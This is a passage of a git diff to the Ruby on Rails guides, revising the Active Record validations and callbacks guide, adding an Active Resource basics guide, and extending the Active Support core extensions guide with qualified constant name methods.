Client.sum("orders_count") </ruby> For options, please see the parent section, "Calculations":#calculations. - -h3. Changelog - -* June 26 2011: Added documentation for the +scoped+, +unscoped+ and +default+ methods. "Ryan Bigg":credits.html#radar -* December 23 2010: Add documentation for the +scope+ method. "Ryan Bigg":credits.html#radar -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* February 3, 2010: Update to Rails 3 by "James Miller":credits.html#bensie -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile index ce0b5416de..a27c292a4c 100644 --- a/railties/guides/source/active_record_validations_callbacks.textile +++ b/railties/guides/source/active_record_validations_callbacks.textile @@ -28,7 +28,7 @@ h4. Why Use Validations? Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. -There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. +There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations: * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. @@ -46,7 +46,7 @@ end We can see how it works by looking at some +rails console+ output: -<shell> +<ruby> >> p = Person.new(:name => "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> >> p.new_record? @@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output: => true >> p.new_record? => false -</shell> +</ruby> Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. @@ -94,7 +94,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate = h4. +valid?+ and +invalid?+ -To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. +To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise. <ruby> class Person < ActiveRecord::Base @@ -105,7 +105,7 @@ Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false </ruby> -When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. +After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. @@ -139,7 +139,7 @@ end => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank </ruby> -+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise. h4(#validations_overview-errors). +errors[]+ @@ -160,7 +160,7 @@ We'll cover validation errors in greater depth in the "Working with Validation E h3. Validation Helpers -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated. Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. @@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default, If you set +:only_integer+ to +true+, then it will use the <ruby> -/\A[+-]?\d+\Z/ +/\A[<plus>-]?\d<plus>\Z/ </ruby> regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. @@ -428,6 +428,8 @@ class GoodnessValidator < ActiveModel::Validator end </ruby> +NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute. + The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated. @@ -454,13 +456,13 @@ This helper validates attributes against a block. It doesn't have a predefined v <ruby> class Person < ActiveRecord::Base - validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + validates_each :name, :surname do |record, attr, value| + record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end </ruby> -The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. +The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid. h3. Common Validation Options @@ -569,11 +571,50 @@ end All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+ -h3. Creating Custom Validation Methods +h3. Performing Custom Validations + +When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer. + +h4. Custom Validators + +Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method. + +<ruby> +class MyValidator < ActiveModel::Validator + def validate(record) + unless record.name.starts_with? 'X' + record.errors[:name] << 'Need a name starting with X please!' + end + end +end + +class Person + include ActiveModel::Validations + validates_with MyValidator +end +</ruby> + +The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance. + +<ruby> +class EmailValidator < ActiveModel::EachValidator + def validate_each(record, attribute, value) + unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i + record.errors[attribute] << (options[:message] || "is not an email") + end + end +end + +class Person < ActiveRecord::Base + validates :email, :presence => true, :email => true +end +</ruby> -When the built-in validation helpers are not enough for your needs, you can write your own validation methods. +As shown in the example, you can also combine standard validations with your own custom validators. -Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. +h4. Custom Methods + +You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. @@ -583,13 +624,15 @@ class Invoice < ActiveRecord::Base :discount_cannot_be_greater_than_total_value def expiration_date_cannot_be_in_the_past - errors.add(:expiration_date, "can't be in the past") if - !expiration_date.blank? and expiration_date < Date.today + if !expiration_date.blank? and expiration_date < Date.today + errors.add(:expiration_date, "can't be in the past") + end end def discount_cannot_be_greater_than_total_value - errors.add(:discount, "can't be greater than total value") if - discount > total_value + if discount > total_value + errors.add(:discount, "can't be greater than total value") + end end end </ruby> @@ -620,7 +663,7 @@ The following is a list of the most commonly used methods. Please refer to the + h4(#working_with_validation_errors-errors). +errors+ -Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors. +Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors. <ruby> class Person < ActiveRecord::Base @@ -700,7 +743,7 @@ Another way to do this is using +[]=+ setter h4. +errors[:base]+ -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to the array and uses it as the error message. +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message. <ruby> class Person < ActiveRecord::Base @@ -710,8 +753,6 @@ class Person < ActiveRecord::Base end </ruby> - - h4. +errors.clear+ The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. @@ -746,7 +787,7 @@ end person = Person.new person.valid? # => false -person.errors.size # => 3 +person.errors.size # => 2 person = Person.new(:name => "Andrea", :email => "andrea@example.com") person.valid? # => true @@ -755,21 +796,15 @@ person.errors.size # => 0 h3. Displaying Validation Errors in the View -Rails maintains an official plugin that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. - -h4. Installing as a plugin -<shell> -$ rails plugin install git://github.com/joelmoss/dynamic_form.git -</shell> +"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates. -h4. Installing as a Gem +You can install it as a gem by adding this line to your Gemfile: -Add this line in your Gemfile: <ruby> gem "dynamic_form" </ruby> -Now you will have access to these two methods in your view templates. +Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates. h4. +error_messages+ and +error_messages_for+ @@ -799,11 +834,13 @@ end <% end %> </erb> -To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: +If you submit the form with empty fields, the result will be similar to the one shown below: !images/error_messages.png(Error messages)! -You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. +NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css. + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. <erb> <%= error_messages_for :product %> @@ -811,7 +848,7 @@ You can also use the +error_messages_for+ helper to display the error messages o The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. -Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, <erb> <%= f.error_messages :header_message => "Invalid product!", @@ -819,23 +856,23 @@ Both the +form.error_messages+ and the +error_messages_for+ helpers accept optio :header_tag => :h3 %> </erb> -Which results in the following content: +results in: !images/customized_error_messages.png(Customized error messages)! -If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. +If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded. -h4. Customizing the Error Messages CSS +h4(#customizing-error-messages-css). Customizing the Error Messages CSS -The selectors to customize the style of error messages are: +The selectors used to customize the style of error messages are: * +.field_with_errors+ - Style for the form fields and labels with errors. -* +#errorExplanation+ - Style for the +div+ element with the error messages. -* +#errorExplanation h2+ - Style for the header of the +div+ element. -* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. -* +#errorExplanation ul li+ - Style for the list items with individual error messages. +* +#error_explanation+ - Style for the +div+ element with the error messages. +* +#error_explanation h2+ - Style for the header of the +div+ element. +* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element. +* +#error_explanation ul li+ - Style for the list items with individual error messages. -Scaffolding for example generates +app/assets/stylesheets/scaffold.css.scss+, which later compiles to +app/assets/stylesheets/scaffold.css+ and defines the red-based style you saw above. +If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above. The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. @@ -848,7 +885,7 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel * A string with the HTML tag * An instance of +ActionView::Helpers::InstanceTag+. -Here is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. +Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. <ruby> ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| @@ -862,17 +899,17 @@ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| end </ruby> -This will result in something like the following: +The result looks like the following: !images/validation_error_messages.png(Validation error messages)! h3. Callbacks Overview -Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. +Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. h4. Callback Registration -In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. +In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: <ruby> class User < ActiveRecord::Base @@ -889,7 +926,7 @@ class User < ActiveRecord::Base end </ruby> -The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line. +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: <ruby> class User < ActiveRecord::Base @@ -901,7 +938,7 @@ class User < ActiveRecord::Base end </ruby> -It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. +It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. h3. Available Callbacks @@ -941,15 +978,15 @@ The +after_initialize+ callback will be called whenever an Active Record object The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. -The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. +The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks. <ruby> class User < ActiveRecord::Base - def after_initialize + after_initialize do |user| puts "You have initialized an object!" end - def after_find + after_find do |user| puts "You have found an object!" end end @@ -998,7 +1035,7 @@ The +after_initialize+ callback is triggered every time a new object of the clas h3. Skipping Callbacks -Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. * +decrement+ * +decrement_counter+ @@ -1017,13 +1054,13 @@ h3. Halting Execution As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. -The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. +The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. h3. Relational Callbacks -Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model: <ruby> class User < ActiveRecord::Base @@ -1049,11 +1086,11 @@ Post destroyed h3. Conditional Callbacks -Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option. -h4. Using +:if+ and +:unless+ with a Symbol +h4. Using +:if+ and +:unless+ with a +Symbol+ -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the method returns false; when using the +:unless+ option, the callback won't be executed if the method returns true. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed. <ruby> class Order < ActiveRecord::Base @@ -1063,7 +1100,7 @@ end h4. Using +:if+ and +:unless+ with a String -You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. +You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition: <ruby> class Order < ActiveRecord::Base @@ -1071,9 +1108,9 @@ class Order < ActiveRecord::Base end </ruby> -h4. Using +:if+ and +:unless+ with a Proc +h4. Using +:if+ and +:unless+ with a +Proc+ -Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners. +Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners: <ruby> class Order < ActiveRecord::Base @@ -1084,7 +1121,7 @@ end h4. Multiple Conditions for Callbacks -When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. +When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration: <ruby> class Comment < ActiveRecord::Base @@ -1097,18 +1134,19 @@ h3. Callback Classes Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. -Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model. +Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model: <ruby> class PictureFileCallbacks def after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> -When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: +When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model: <ruby> class PictureFile < ActiveRecord::Base @@ -1116,13 +1154,14 @@ class PictureFile < ActiveRecord::Base end </ruby> -Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. +Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods: <ruby> class PictureFileCallbacks def self.after_destroy(picture_file) - File.delete(picture_file.filepath) - if File.exists?(picture_file.filepath) + if File.exists?(picture_file.filepath) + File.delete(picture_file.filepath) + end end end </ruby> @@ -1139,16 +1178,25 @@ You can declare as many callbacks as you want inside your callback classes. h3. Observers -Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. +Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead. h4. Creating Observers -For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality. +For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality. <shell> $ rails generate observer User </shell> +generates +app/models/user_observer.rb+ containing the observer class +UserObserver+: + +<ruby> +class UserObserver < ActiveRecord::Observer +end +</ruby> + +You may now add methods to be called at the desired occasions: + <ruby> class UserObserver < ActiveRecord::Observer def after_create(model) @@ -1164,7 +1212,7 @@ h4. Registering Observers Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :user_observer </ruby> @@ -1172,7 +1220,7 @@ As usual, settings in +config/environments+ take precedence over those in +confi h4. Sharing Observers -By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and so it's possible to manually specify the models that our observer should observe. +By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe: <ruby> class MailerObserver < ActiveRecord::Observer @@ -1184,10 +1232,10 @@ class MailerObserver < ActiveRecord::Observer end </ruby> -In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect. +In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect: <ruby> -# Activate observers that should always be running +# Activate observers that should always be running. config.active_record.observers = :mailer_observer </ruby> @@ -1195,7 +1243,7 @@ h3. Transaction Callbacks There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. -Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after a record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. +Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error. <ruby> PictureFile.transaction do @@ -1224,14 +1272,3 @@ end </ruby> The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. - -h3. Changelog - -* February 17, 2011: Add description of transaction callbacks. -* July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. "Jaime Iniesta":http://jaimeiniesta.com -* May 24, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* May 15, 2010: Validation Errors section updated by "Emili Parreño":http://www.eparreno.com -* March 7, 2009: Callbacks revision by Trevor Turk -* February 10, 2009: Observers revision by Trevor Turk -* February 5, 2009: Initial revision by Trevor Turk -* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile new file mode 100644 index 0000000000..851aac1a3f --- /dev/null +++ b/railties/guides/source/active_resource_basics.textile @@ -0,0 +1,120 @@ +h2. Active Resource Basics + +This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in +app/models+. + +h3. Configuration and Usage + +Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class +that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it: + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" +end +</ruby> + +Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes +life cycle methods that operate against a persistent store. + +h3. Reading and Writing Data + +Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol. + +h4. Read + +Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested. + +<ruby> +# Find a person with id = 1 +person = Person.find(1) +# Check if a person exists with id = 1 +Person.exists?(1) # => true +# Get all resources of Person class +Person.all +</ruby> + +h4. Create + +Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object. + +<ruby> +person = Person.create(:name => 'Vishnu') +person.id # => 1 +</ruby> + +h4. Update + +To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format. + +<ruby> +person = Person.find(1) +person.name = 'Atrai' +person.save +</ruby> + +h4. Delete + +'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource. + +<ruby> +person = Person.find(1) +person.destroy +</ruby> + +h3. Validations + +Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors. + +h4. Validating client side resources by overriding validation methods in base class + +<ruby> +class Person < ActiveResource::Base + self.site = "http://api.people.com:3000/" + + protected + + def validate + errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/ + end +end +</ruby> + +h4. Validating client side resources + +Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model: + +<ruby> +person = Person.new(:first_name => "Jim", :last_name => "") +person.save # => false (server returns an HTTP 422 status code and errors) +person.valid? # => false +person.errors.empty? # => false +person.errors.count # => 1 +person.errors.full_messages # => ["Last name can't be empty"] +person.errors[:last_name] # => ["can't be empty"] +person.last_name = "Halpert" +person.save # => true (and person is now saved to the remote service) +</ruby> + +h4. Public instance methods + +ActiveResource::Validations have three public instance methods + +h5. errors() + +This will return errors object that holds all information about attribute error messages + +h5. save_with_validation(options=nil) + +This validates the resource with any local validations written in base class and then it will try to POST if there are no errors. + +h5. valid? + +Runs all the local validations and will return true if no errors. diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile index 781d3d08cd..ff6c5f967f 100644 --- a/railties/guides/source/active_support_core_extensions.textile +++ b/railties/guides/source/active_support_core_extensions.textile @@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value: <ruby> account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" +# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" </ruby> so its output is ready to be used in a query string. @@ -719,12 +719,70 @@ X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8 X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8 </ruby> -The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ returns always strings. +The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings. -WARNING: This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver. +WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+). NOTE: Defined in +active_support/core_ext/module/introspection.rb+. +h5. Qualified Constant Names + +The standard methods +const_defined?+, +const_get+ , and +const_set+ accept +bare constant names. Active Support extends this API to be able to pass +relative qualified constant names. + +The new methods are +qualified_const_defined?+, +qualified_const_get+, and ++qualified_const_set+. Their arguments are assumed to be qualified constant +names relative to their receiver: + +<ruby> +Object.qualified_const_defined?("Math::PI") # => true +Object.qualified_const_get("Math::PI") # => 3.141592653589793 +Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034 +</ruby> + +Arguments may be bare constant names: + +<ruby> +Math.qualified_const_get("E") # => 2.718281828459045 +</ruby> + +These methods are analogous to their builtin counterparts. In particular, ++qualified_constant_defined?+ accepts an optional second argument in 1.9 +to be able to say whether you want the predicate to look in the ancestors. +This flag is taken into account for each constant in the expression while +walking down the path. + +For example, given + +<ruby> +module M + X = 1 +end + +module N + class C + include M + end +end +</ruby> + ++qualified_const_defined?+ behaves this way: + +<ruby> +N.qualified_const_defined?("C::X", false) # => false (1.9 only) +N.qualified_const_defined?("C::X", true) # => true (1.9 only) +N.qualified_const_defined?("C::X") # => false in 1.8, true in 1.9 +</ruby> + +As the last example implies, in 1.9 the second argument defaults to true, +as in +const_defined?+. + 